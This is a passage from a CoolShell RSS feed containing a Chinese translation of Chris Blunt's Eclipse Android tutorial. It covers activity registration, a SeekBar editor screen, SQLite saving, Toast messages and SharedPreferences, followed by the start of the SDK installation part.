由于我们没有将这个Activity注册到Android系统中，我们的应用程序最终还是crash掉了。系统不知道从哪里去找到我们试图运行的Activity（应该还记得Intent可以启动安装在设备上的任何Activity吧）。让我们在应用程序的mainfest文件来注册这些Acitivity。</p>\n<p>打开应用的manifest文件，在Eclipse中的AndroidManifest.xml。通过窗口底部的“AndroidManifest.xml”选项页切换到xml视图</p>\n<p>应用程序的mainfest文件是保存你应用程序全局设置和信息的地方。你将会看见里面已经有一个.BrewClockActivity 的Activity声明，并且这个Activity在程序运行的时候启动。</p>\n<p>在&lt;application&gt;中, 增加一个 &lt;activity&gt; 节点，描述为“Add Tea”的 Activity. 使用我们早先在strings.xml声明的 add_tea_label字符串作为这个Activity的标题：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;!-- AndroidManifest.xml --&gt;\n&lt;application …&gt;\n  …\n  &lt;activity android:name=&quot;.AddTeaActivity&quot; android:label=&quot;@string/add_tea_label&quot; /&gt;\n&lt;/application&gt;\n</pre>\n<p>在你再次运行BrewClock保存这个manifest文件。这一次，当你打开菜单并点击“Add Tea,”时Android将会启动AddTeaActivity。按下back按键返回主屏幕。</p>\n<p>完成了Activity的关联，下一步我们将要开发一个增加新茶的界面！</p>\n<h3>开发茶叶编辑器界面</h3>\n<p>开发一个增加茶叶界面和上一个教程中开发的BrewClock主界面是非常相似的。首先要创建一个布局文件，然后在按照下面的讲解添加适合的XML内容。</p>\n<p>和主界面开发所有不同的是，你可以使用Android最近改进的Eclipse布局编辑器来开界面。创建一个新的XML文件来定义你的布局。从菜单File → New然后选择 “Android XML File,” 选择 “Layout”类型。并将文件命令为<em>add_tea.xml</em>。</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/11_new_layout_xml.jpg\"></img></p>\n<p>用下面的布局内容替换<em>add_tea.xml</em> 文件的内容：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;!-- res/layouts/add_tea.xml --&gt;\n&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;\n&lt;LinearLayout\n  xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;\n  android:layout_width=&quot;fill_parent&quot;\n  android:layout_height=&quot;fill_parent&quot;\n  android:orientation=&quot;vertical&quot;\n  android:padding=&quot;10dip&quot;&gt;\n\n  &lt;TextView\n    android:text=&quot;@string/tea_name_label&quot;\n    android:layout_width=&quot;fill_parent&quot;\n    android:layout_height=&quot;wrap_content&quot; /&gt;\n\n  &lt;EditText\n    android:id=&quot;@+id/tea_name&quot;\n    android:layout_width=&quot;fill_parent&quot;\n    android:layout_height=&quot;wrap_content&quot;/&gt;\n\n  &lt;TextView\n    android:text=&quot;@string/brew_time_label&quot;\n    android:layout_width=&quot;wrap_content&quot;\n    android:layout_height=&quot;wrap_content&quot;/&gt;\n\n  &lt;SeekBar\n    android:id=&quot;@+id/brew_time_seekbar&quot;\n    android:layout_width=&quot;fill_parent&quot;\n    android:layout_height=&quot;wrap_content&quot;\n    android:progress=&quot;2&quot;\n    android:max=&quot;9&quot; /&gt;\n\n  &lt;TextView\n    android:id=&quot;@+id/brew_time_value&quot;\n    android:text=&quot;3 m&quot;\n    android:textSize=&quot;20dip&quot;\n    android:layout_width=&quot;fill_parent&quot;\n    android:layout_height=&quot;wrap_content&quot;\n    android:gravity=&quot;center_horizontal&quot; /&gt;\n&lt;/LinearLayout&gt;\n\n</pre>\n<p>为了这个界面上使用的字符串，我们同样也需要在<em>strings.xml</em> 中增加一些新的内容：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;!-- res/values/strings.xml --&gt;\n&lt;resources&gt;\n  &lt;!-- … --&gt;\n  &lt;string name=&quot;tea_name_label&quot;&gt;Tea Name&lt;/string&gt;\n\n  &lt;string name=&quot;brew_time_label&quot;&gt;Brew Time&lt;/string&gt;\n&lt;/resources&gt;\n\n</pre>\n<p>在这个布局中，我们加了一个新的界面控件类型，SeekBar。这个控件可以让用户通过从左向右拖拉一个指示器thumb，非常容易的指定泡茶时间。这个值得范围从0到android:max。</p>\n<p>在这个界面中，我们使用刻度是0到9，意思是从1分钟到10分钟（泡0分钟茶等于是浪费好茶）。第一，我们需要确保AddTeaActivity能正确地加载我们的界面:</p>\n<p>在Activity的onCreate()方法中增加下面的代码用于加载和显示add_tea布局文件：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n  super.onCreate(savedInstanceState);\n  setContentView(R.layout.add_tea);\n}\n\n</pre>\n<p>现在通过运行项目来测试你的应用程序，按下“Menu”按键，并点击“Add Tea”菜单。</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/12_add_tea_interface.jpg\"/></p>\n<p>你将从“Add Tea”屏幕上看到你的新界面。你可以在文本域中输入文字和从左到右拖动SeekBar。但是由于我们没有增加相关代码，这个界面并没有实现什么具体的功能。</p>\n<p>在AddTeaActivity中增加下面这些属性，并关联到我们界面上元素：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic class AddTeaActivity {\n  // …\n\n  /** Properties **/\n  protected EditText teaName;\n  protected SeekBar brewTimeSeekBar;\n  protected TextView brewTimeLabel;\n\n  // …\n\n</pre>\n<p>下一步,关联属性和你的界面：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n  // Connect interface elements to properties\n  teaName = (EditText) findViewById(R.id.tea_name);\n  brewTimeSeekBar = (SeekBar) findViewById(R.id.brew_time_seekbar);\n  brewTimeLabel = (TextView) findViewById(R.id.brew_time_value);\n}\n\n</pre>\n<p>界面非常的简单，我们只要增加相应SeekBar 改变事件的监听器。当用户从左到右移动SeekBar指示器时，我们的应用程序需要读出新值并更新SeekBar之下泡茶时间标签的内容。我们将使用一个监听器来检测SeekBar何时改变的：</p>\n<p>在AddTeaActivity类声明中增加实现 onSeekBarChangedListener接口，并添加所必要的方法：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic class AddTeaActivity\nextends Activity\nimplements OnSeekBarChangeListener {\n  // …\n\n  public void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {\n    // TODO Detect change in progress\n  }\n\n  public void onStartTrackingTouch(SeekBar seekBar) {}\n\n  public void onStopTrackingTouch(SeekBar seekBar) {}\n}\n\n</pre>\n<p>我们唯一感兴趣的事件时onProgressChanged，因此我们需要在这个方法内增加代码更新泡茶时间标签的内容为SeekBar选中的值。之前我们说过SeekBar的刻度是0到9，因此我们需要将SeekBar的加1的值来显示给用户才有意义。</p>\n<p>在<em>AddTeaActivity.java</em>代码中增加如下的onProgressChanged()代码：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic void onProgressChanged(SeekBar seekBar, int progress, boolean fromUser) {\n  if(seekBar == brewTimeSeekBar) {\n    // Update the brew time label with the chosen value.\n    brewTimeLabel.setText((progress + 1) + &quot; m&quot;);\n  }\n}\n\n</pre>\n<p>在AddTeaActivity的onCreate方法中设置监听器：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n  // …\n\n  // Setup Listeners\n  brewTimeSeekBar.setOnSeekBarChangeListener(this);\n}\n\n</pre>\n<p>现在运行你的程序，并拖动SeekBar,泡茶时间标签的内容将会同步更新为正确地值：</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/13_seekbar.jpg\"></img></p>\n<h4>保存新增茶叶</h4>\n<p>完成了增加茶叶界面之后,剩下的工作就是让用户可以将他们新增的茶叶保存到数据库中.我们将会对界面上输入数据增加一点校验,以避免茶叶名为空的数据被保存到数据库中！</p>\n<p>在编辑器中打开<em>strings.xml</em> 增加一些我们在应用程序将要使用到的新标签。</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;!-- res/values/strings.xml --&gt;\n&lt;string name=&quot;save_tea_label&quot;&gt;Save Tea&lt;/string&gt;\n&lt;string name=&quot;invalid_tea_title&quot;&gt;Tea could not be saved.&lt;/string&gt;\n\n&lt;string name=&quot;invalid_tea_no_name&quot;&gt;Enter a name for your tea.&lt;/string&gt;\n\n\n</pre>\n<p>如同前面的那样，我们需要为AddTeaActivity创建一个新的选项菜单来让用户可以执行保存茶叶的指令：</p>\n<p>在<em>res/menus</em> 目录，通过选择File → New 并选 Other → Android XML 文件来创建一个新的 <em>add_tea.xml</em> XML文件, 记住资源类型为“Menu”。</p>\n<p>增加保存茶叶的菜单项：</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n\n&lt;!-- res/menus/add_tea.xml --&gt;\n&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;\n&lt;menu xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;&gt;\n  &lt;item android:title=&quot;@string/save_tea_label&quot; android:id=&quot;@+id/save_tea&quot; /&gt;\n&lt;/menu&gt;\n\n\n</pre>\n<p>返回 AddTeaActivity 代码中,类似你在BrewClockActivity中一样，增加重载方法onCreateOptionsMenu 和onOptionsItemSelected。唯一的区别是这次你提供的MenuInflater的资源文件名是<em>add_tea.xml</em> ：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\n@Override\npublic boolean onCreateOptionsMenu(Menu menu) {\n  MenuInflater inflater = getMenuInflater();\n  inflater.inflate(R.menu.add_tea, menu);\n\n  return true;\n}\n\n@Override\npublic boolean onOptionsItemSelected(MenuItem item) {\n  switch(item.getItemId()) {\n    case R.id.save_tea:\n      saveTea();\n\n    default:\n      return super.onOptionsItemSelected(item);\n  }\n}\n\n</pre>\n<p>下一步, 增加新方法, saveTea(), 来保存茶叶信息。saveTea 首先从界面上读取茶叶的名称和用户所选的泡茶时间，如果这些输入数据都能通过验证，就将这些数据保存到数据库中：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\npublic boolean saveTea() {\n  // Read values from the interface\n  String teaNameText = teaName.getText().toString();\n  int brewTimeValue = brewTimeSeekBar.getProgress() + 1;\n\n  // Validate a name has been entered for the tea\n  if(teaNameText.length() &lt; 2) {\n    AlertDialog.Builder dialog = new AlertDialog.Builder(this);\n    dialog.setTitle(R.string.invalid_tea_title);\n    dialog.setMessage(R.string.invalid_tea_no_name);\n    dialog.show();\n\n    return false;\n  }\n\n  // The tea is valid, so connect to the tea database and insert the tea\n  TeaData teaData = new TeaData(this);\n  teaData.insert(teaNameText, brewTimeValue);\n  teaData.close();\n\n  return true;\n}\n\n\n</pre>\n<p>大段的代码，让我们过一遍这段代码的逻辑。</p>\n<p>首先，我们从文本框中读取茶叶名称，从SeekBar读取泡茶时间（记着读的时间要加1以保证时间在1到10分钟之内）。下一步，我们验证茶叶名大于等于2个字符（这是非常简单的验证，如果想做更复杂的验证，那么就使用正则表达式吧）。</p>\n<p>如果茶叶名称非法，我们需要让用户知道。我们使用Android提供的工具类，AlertDialog.Biulder类，这个类给我们提供了一个快捷创建和显示模态窗口的方法。在设置完标题和错误信息后，通过调用show方法来显示对话框。这个对话框是模态的modal，因此用户只有按下back按键，这个对话框才会关闭。在这时，我们不想保存任何数据，所以我们的方法返回了false。</p>\n<p>如果茶名称合法，我们通过TeaData类创建一个到茶叶数据库的临时连接。这里又一次的显示出把数据库访问抽象成一个独立文件的好处：你可以从任何地方完成对数据库（译者注：其实应该是对TeaData 类）的访问。</p>\n<p>当调用完teaData.insert() 来增加记录到数据库后，我们不再需要数据库连接，因此在我们返回成功前，我们关闭了连接。</p>\n<p>在模拟器中运行你的程序，按下“Menu”按键，点击屏幕上的“Add Tea”。试图通过在此按下“Menu”和点击屏幕的 “Save Tea.”来保存空茶叶名的茶叶数据。由于是没有茶叶名，一条错误消息将出现在你的面前：</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/14_invalid_tea.jpg\"/></p>\n<p>下一步，试着键入你的茶叶名，并选择合适的泡茶时间，再次从菜单选择 “Save Tea” 。这一次，你将不在看到错误的消息。事实上，你什么都看消息不到。</p>\n<h4>改进用户体验</h4>\n<p>这样做不是一个很好的用户体验，用户不能知道他的茶叶是否已经成功地保存了。事实上，用户只有从“Add Tea”界面返回，去茶叶列表中查看这一个办法来检查他的是否成功的被保存。这样的做法不好，让用户知道他们的茶叶数据被成功地保存会是更好的一种方式。在茶叶数据被成功保存后，让我们在屏幕上显示一条成功信息。</p>\n<p>我们要一条被动的非模态化的信息，因此AlertDialog这次就不能满足我们的需求了。下面我们将要使用另外一个Android的非常流行的特性，Toast。</p>\n<p>Toast 在接近屏幕的下方显示一条消息，但是并不会终止用户的操作。Toast经常用于做非重要的的提醒和状态更新。.</p>\n<p>在<em>strings.xml</em> 资源文件中新增一个字符串。注意字符串中的%s。我们在下一步中将保存的茶叶名字结合到这个字符串来显示信息。</p>\n<pre data-enlighter-language=\"xml\" class=\"EnlighterJSRAW\">\n&lt;!-- res/values/strings.xml --&gt;\n&lt;string name=&quot;save_tea_success&quot;&gt;%s tea has been saved.&lt;/string&gt;\n</pre>\n<p>注意，在onOptionsItemSelected 代码中进行修改，当saveTea返回真时，创建并显示一条弹出式的Toast。第二参数getString()用来连接茶叶名称到Toast信息中。最后，我们需要将茶叶名称清楚，以便用户可以快速增加更多的新茶。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/AddTeaActivity.java\n// …\nswitch(item.getItemId()) {\n case R.id.save_tea:\n   if(saveTea()) {\n     Toast.makeText(this, getString(R.string.save_tea_success, teaName.getText().toString()), Toast.LENGTH_SHORT).show();\n     teaName.setText(&quot;&quot;);\n   }\n// …\n</pre>\n<p>现在，重新运行应用程序，并增加和保存一些新茶叶。你将会看到弹出式的Toast并让你知道你的茶叶信息已经被保存成功。getString()方法用于连接存在XML文件中的String和茶叶名称，并将%s替换成茶叶的名称。</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/16_valid_save.jpg\"></img></p>\n<p>按下“Back”按键，返回应用程序的主屏幕，点击茶叶spinner。你新增的在数据库中的茶叶已近可以显示在spinner的选项中！</p>\n<h3>用户首选项</h3>\n<p>现在BrewClock已经完成了所有的功能。用户可以增加他们喜爱的茶叶和各自不同的泡茶时间到数据库中，并且他们可以快速的从选择他们并开始泡上一杯新茶。任何新增的茶叶信息都被保存在数据库中，因此，即使你退出你的程序，这些茶叶信息在你下次启动程序时仍然可以从spinner列表中找到。</p>\n<p>当你重启BrewClock的时候，有一件事你必须注意，就是泡茶计数被清为了0。这使得跟踪我们每天喝了多少茶（一条重要的数据）变得困难。作为最后一个练习，让我们将泡茶计数保存在我们设备上。</p>\n<p>我们将不通过增加茶叶数据库的表来完成这个功能，我们将使用Android的“共享首选项Shared Preferences”，一个Android提供给你应用程序用于存储简单数据的数据库（字符串，数字，等等）。例如，优秀的最高分和用户首选项等（译者注：非常类似Windows下的注册表）。</p>\n<p>我们首先在<em>BrewClockActivity.java</em> 中增加一堆常量。这些常量用于存放你的共享首选项的名称。我们将使用键的名称来访问泡茶计数。Android负责保存和持久化我们的共享首选项文件。</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n\n// src/com/example/brewclock/BrewClockActivity.java\n\nprotected static final String SHARED_PREFS_NAME = &quot;brew_count_preferences&quot;;\n\nprotected static final String BREW_COUNT_SHARED_PREF = &quot;brew_count&quot;;\n\n</pre>\n<p>下一步，为了我们能在用户首选项中读写泡茶计数，而不是直接的依赖于代码中的初始值，我们将在代码中做一些修改。在BrewClockActivity 的 onCreate 方法中我们将就该setBrewCount附件的代码：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\npublic void onCreate() {\n  // … \n\n  // Set the initial brew values\n  SharedPreferences sharedPreferences = getSharedPreferences(SHARED_PREFS_NAME, MODE_PRIVATE);\n  brewCount = sharedPreferences.getInt(BREW_COUNT_SHARED_PREF, 0);\n  setBrewCount(brewCount);\n\n  // …\n}\n\n</pre>\n<p>这里我们将以使用SharedPreference来获取应用程序的共享首选项的实例，并希望得到brew_count键值的值（通过我们之前定义的BREW_COUNT_SHARED_PREF常量来标示）。如果值能获取，这个值将返回给应用程序，如果没有我们使用getInt的第二参数作为默认值返回（在教程中为0）。</p>\n<p>现在我们取得存储的泡茶计数值，我们需要确保每当泡茶计数更新的时候，这个值能写回到共享首选项中。</p>\n<p>BrewClockActivity的setBrewCount中增加下面的代码：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">\n// src/com/example/brewclock/BrewClockActivity.java\n public void setBrewCount(int count) {\n   brewCount = count;\n   brewCountLabel.setText(String.valueOf(brewCount));\n\n   // Update the brewCount and write the value to the shared preferences.\n   SharedPreferences.Editor editor = getSharedPreferences(SHARED_PREFS_NAME, MODE_PRIVATE).edit();\n   editor.putInt(BREW_COUNT_SHARED_PREF, brewCount);\n   editor.commit();\n }\n\n\n</pre>\n<p>共享首选项不能直接地保存。我们需要使用Android的SharedPreferences.Editor类。调用SharedPreferences的edit方法，返回一个editor实例，这个实例用来保存我们的首选项值。我们只要调用editor实例的commit方法就可以将值保存到共享首选项中。</p>\n<p>我们应用程序的所有代码都已完成，现在让我们测试一下我们的程序！</p>\n<p>在模拟器中运行应用程序，定一个泡茶时间（这真是一个良好的借口去泡一杯你自己爱喝的茶哦）并退出应用程序，试着运行模拟器上的安装的其他应用程序确保BrewClock被终止。记住，除非这个应用程序已经不在内存中，否则Android不会终止一个Activity。</p>\n<p>当你下一次运行你的应用程序时，你将看见之前的泡茶计数已经被维护了。</p>\n<h3>总结</h3>\n<p>恭喜!你已经完成了这个应用的程序的所有开发工作,并使用了Android　SDK中的数个核心组件。在本教程中，你从中学到了：</p>\n<ul>\n<li>创建一个简单的SQLite数据库，并保存你的数据；</li>\n<li>使用Android的数据库类和编写客户化类抽象数据访问；</li>\n<li>在你的应用程序中增加选项菜单。；</li>\n<li>在你应用程序中创建并注册新Activity并使用Intent将他们绑定成一组界面；</li>\n<li>使用内建的“共享首选项”数据库来保存和提取简单用户数据。</li>\n</ul>\n<p>无论你要开发神马样类型的应用程序，数据存储和持久化是一个重要的主题。从工具程序和业务工具到3-D游戏，几乎每个应用程序都需要使用到Android提供的数据工具类。</p>\n<p><img decoding=\"async\" src=\" https://coolshell.cn/wp-content/uploads/2011/04/17_brew_up.jpg\"/></p>\n<h4>Activities</h4>\n<p>虽然BrewClock现在在某方面来说已经是个功能完善的应用程序了。但是我们仍然可以在增加一些功能以改进用户体验。例如你可以使用下面的方法来改进你的应用程序：</p>\n<ul>\n<li>在保存茶叶的时候检查是否存在茶叶名称重名；</li>\n<li>增加一个菜单选项以将泡茶统计清0；</li>\n<li>在共享首选项中保存最后所选的泡茶名称和时间以便程序重启时有一个有意义的默认值；</li>\n<li>增加用户从茶叶数据库中删除记录的选项。</li>\n</ul>\n<p>在<a href=\"http://github.com/cblunt/BrewClock\">GitHub库</a> 可以获取到所有的源代码，库中的未来的分支包含着Activitiy的解决方案 你可以通过切换你的本地代码拷贝到tutorial_2分支，下载这个开发教程源代码：<br />\n[code]</p>\n<p>$ git clone git://github.com/cblunt/BrewClock.git</p>\n<p>$ cd BrewClock</p>\n<p>$ git checkout tutorial_2</p>\n<p>[/code]<br />\n我希望你喜欢这个教程，希望这个教程能帮助你设计和开发更棒的Android应用程序。请通过在下面的回复让我知道你的建议和意见，当然我也欢迎你将你建议写在email中并发送给我。</p>\n<p><em>感谢<a href=\"http://blog.anselmbradford.com/\">Anselm</a>的建议和反馈！ </em></p>\n<p><em>（全文完）</em><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/4270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/04/install-150x150.gif\" alt=\"Eclipse开发Android应用程序入门\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4270.html\" class=\"wp_rp_title\">Eclipse开发Android应用程序入门</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/3589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"食客还是大厨\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3589.html\" class=\"wp_rp_title\">食客还是大厨</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4334.html\">Eclipse开发Android应用程序入门:重装上阵</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4334.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>21</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Eclipse开发Android应用程序入门</title>\n\t\t<link>https://coolshell.cn/articles/4270.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4270.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Thu, 07 Apr 2011 08:40:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Android]]></category>\n\t\t<category><![CDATA[Eclipse]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4270</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>By Chris Blunt 翻译：赵锟 原文出处：http://www.smashingmagazine.com/2010/10/25/get-started...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4270.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4270.html\">Eclipse开发Android应用程序入门</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>By <a title=\"Posts by Chris Blunt\" href=\"http://www.smashingmagazine.com/author/chris-blunt/\">Chris Blunt</a></p>\n<p><strong>翻译：赵锟</strong><br />\n原文出处：<a href=\"http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/\">http://www.smashingmagazine.com/2010/10/25/get-started-developing-for-android-with-eclipse/</a></p>\n<p>如今的移动设备应用程序开发充满着让人振奋的东西。功能强大的硬件支持，平板电脑，多样的软件平台（塞班 OS，iOS，WebOS，Windows Phone 7&#8230;)，移动设备开发者前景充满了机会和挑战。</p>\n<p>当你想要开始开发你的移动设备程序时，如此多的选择可能让你产生困扰。究竟应该选择神马平台？我应该学习神马语言？为你计划的项目选择神马工具？在本教程中，你将学会如何在Google公司的开源移动设备操作系统Android下开发应用程序。</p>\n<h3>为神马选Android</h3>\n<p>Android是一个基于Linux内核的开源平台， 并且被安装在来自于不同厂商的上千种设备中。Android将各种移动设备的硬件如 电子罗盘，摄像头，GPS，方向感应，等等暴露给你的应用程序。<br />\n<span id=\"more-4270\"></span><br />\nAndroid的免费开发工具可以让你以0成本开始编写你的软件。当你想向世界展示你的应用程序的时候，你可以将你的软件发布到Google的 Android 市场。向Andriod Market 发布程序只一次性的收取注册费用（25元），并且不像苹果的App Store ，对每一次的提交都要做检查，除非你的程序明显地违法，在经过一个快速检查的流程后，才能让你的程序提供给客户下载和购买。</p>\n<p>下面是Android对于开发者的优点：</p>\n<ul>\n<li>Android的SDK可以在Windows,Mac和Linux上运行，因此你不需要为了开发环境支付额外的新硬件投入。（译者注：我曾近在Win7 64x + VMWare上成功的安装Mac Snow leopard + XCode的开发环境，对于爱用盗版的人来说，这点MS优势不是很大啊）</li>\n<li>构建于JAVA上的SDK。如果你熟悉JAVA语言，你就是事半功倍了。（译者注：这个酷壳有篇文章讨论过，大家可以参看：<a href=\"https://coolshell.cn\" target=\"_blank\">https://coolshell.cn</a>）</li>\n<li>你只要在Android Market上发布应用程序，你将有潜在的成千上万的用户。而且你不一定非要把程序发布在Android Market上，你还可以在你的博客上发布。而且有传言，Amazon已近在最近准备搭建他们自己的Android 应用程序商店了。</li>\n<li>除了了技术性的<a href=\"http://developer.android.com/sdk/index.html\">SDK 文档</a>外,还可以找到其他更多的使用者和开发者的资源。</li>\n</ul>\n<p>闲话少说——下面让我们进入正题，开始开发我们的Android应用程序。</p>\n<h3>安装Eclipse和Android SDK</h3>\n<p>Android应用程序的推荐开发环境是带有Android开发包插件(Android Devlopment Toolkit (ADT))的Eclipse。我在这里简要说明一下安装流程。如果你需要更多的细节，Google的<a href=\"http://developer.android.com/sdk/\">开发人员网页</a>中详尽地解释了具体的安装配置过程</p>\n<ul>\n<li>为你的平台下载<a href=\"http://developer.android.com/\">Android      SDK</a>（Windows ， Mac OS X 或者 Linux）。</li>\n<li>在你的硬盘上解压下载文件 (在Linux, 我使用 /opt/local/).</li>\n<li>如果你没有安装Eclipse，下载并安装<a href=\"http://eclipse.org/downloads/packages/eclipse-ide-java-developers/galileosr2\">Eclipse JAVA 集成开发环境</a>包。 用于编程的话,      Google推荐使用Eclipse 3.5 (Galileo).</li>\n<li>运行Eclipse 并选择<em>Help-&gt;Install New      Software</em>.</li>\n<li>在Available Software窗口中点击Add按钮。</li>\n<li>进入 Android Development Tools 的<em>Name</em>输入框, 在Location      输入框输入https://dl-ssl.google.com/android/eclipse/</li>\n<li>检查可用软件中有Developer Tools并点击OK按钮。这将安装Android      Development Tools 和DDMS, Android的调试工具。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4306\" title=\"install\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/install.gif\" alt=\"\" width=\"500\" height=\"519\" /></p>\n<ul>\n<li>点击Next和Finish按钮以完成安装，安装完成后，你需要重启你的Eclipse一次。</li>\n<li>在Eclipse重启后，选择Window-&gt;Preference 后你可以在分类列表中看到Android这一项了。</li>\n<li>现在需要告诉Eclipse，你的Android SDK安装在什么地方。点击Android项后浏览选择你解压后的Android SDK所在的路径。例如/opt/local/android-sdk。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-4303\" title=\"eclipse_android_preferences\" src=\"https://coolshell.cn/wp-content/uploads/2011/04/eclipse_android_preferences.jpg\" alt=\"\" width=\"696\" height=\"649\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/04/eclipse_android_preferences.jpg 696w, https://coolshell.cn/wp-content/uploads/2011/04/eclipse_android_preferences-300x279.jpg 300w\" sizes=\"(max-width: 696px) 100vw, 696px\" 